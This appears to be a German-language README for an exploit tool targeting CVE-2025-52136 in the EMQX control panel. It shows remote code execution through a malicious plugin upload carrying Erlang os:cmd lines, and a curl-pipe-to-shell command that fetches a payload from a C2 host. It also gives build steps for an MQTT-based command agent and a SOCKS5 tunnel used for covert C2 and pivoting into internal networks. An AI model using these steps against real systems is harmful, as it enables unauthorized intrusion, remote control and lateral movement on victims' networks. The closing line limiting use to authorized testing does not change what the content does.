
Exploit für CVE-2025-52136, der RCE auf dem EMQX-Kontrollpanel über Plugin-Upload ermöglicht, mit MQTT-basiertem Befehlsagenten und SOCKS5-Tunnel für Out-of-Band-C2 und Netzwerk-Pivoting.
https://github.com/ricardojoserf/emqx-RCE
Die ursprüngliche Methode nutzt das Hochladen eines EMQX-Plugins, bei dem im Code der Plugin-Vorlage das Erlang-Modul `os` hinzugefügt wird, um Systembefehle auszuführen und so RCE zu erreichen.
In einer Umgebung mit ausgehendem Netzwerkverkehr, in der standardmäßig curl vorhanden ist, kann direkt über curl http://xx.xx.xx.xx/1.sh | sh eine Verbindung zum C2 hergestellt werden.
Wenn das Ziel keinen ausgehenden Netzwerkverkehr hat, kann, da EMQX selbst ein MQTT-Nachrichtenserver ist, direkt in Kombination mit dem Plugin-Upload ein hochgeladenes ausführbares Programm auf dem EMQX-Server ausgeführt werden. Mit EMQX als MQTT-Nachrichtenwarteschlangen-Kern wird das bereitgestellte Programm direkt als eine Art „Systembefehls-Proxy" eingesetzt: Es abonniert vom Client gesendete Befehle und veröffentlicht die Ausführungsergebnisse zurück an das Thema.
+-------------+
| Client |
| sendet Befehl|
| Thema: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Befehls-Proxy |
| abonniert rx/cmd |
| führt Systembefehle aus |
| veröffentlicht tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Anschließend werden nach dem Ansatz des ursprünglichen Autors drei Zeilen zu my_emqx_plugin.erl hinzugefügt:
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
Nach dem Kompilieren des Plugins kann mit einem beliebigen Komprimierungswerkzeug mqtt_agent im Verzeichnis my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ abgelegt werden.

Plugin hochladen

Anschließend wird auf dem Client das Abonnement für tx/cmd hinzugefügt, mit dem Thema rx/cmd, und schon kann es verwendet werden.

Analog dazu kann über MQTT ein Tunnel zwischen Client ↔ Agent geöffnet werden, bei dem TCP-Daten bidirektional über MQTT an den internen Agent weitergeleitet werden. Der Agent verbindet sich dann mit dem internen Zielhost, wodurch eine Nutzung über interne Netzwerkdurchdringung möglich ist.
Dieses Schema weist gewisse Nachteile auf:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
Die Verwendung ähnelt dem oben beschriebenen RCE-Prozess. Hier wird direkt ein lokaler Port als SOCKS5-Tunnel zur Weiterleitung des Datenverkehrs verwendet.
Der Proxy-Tunnel kann selbst kompiliert und verwendet werden.
Dieses Tool ist ausschließlich für die Verwendung in autorisierten Umgebungen/Testumgebungen gedacht. Jegliche illegale Nutzung ist strengstens untersagt.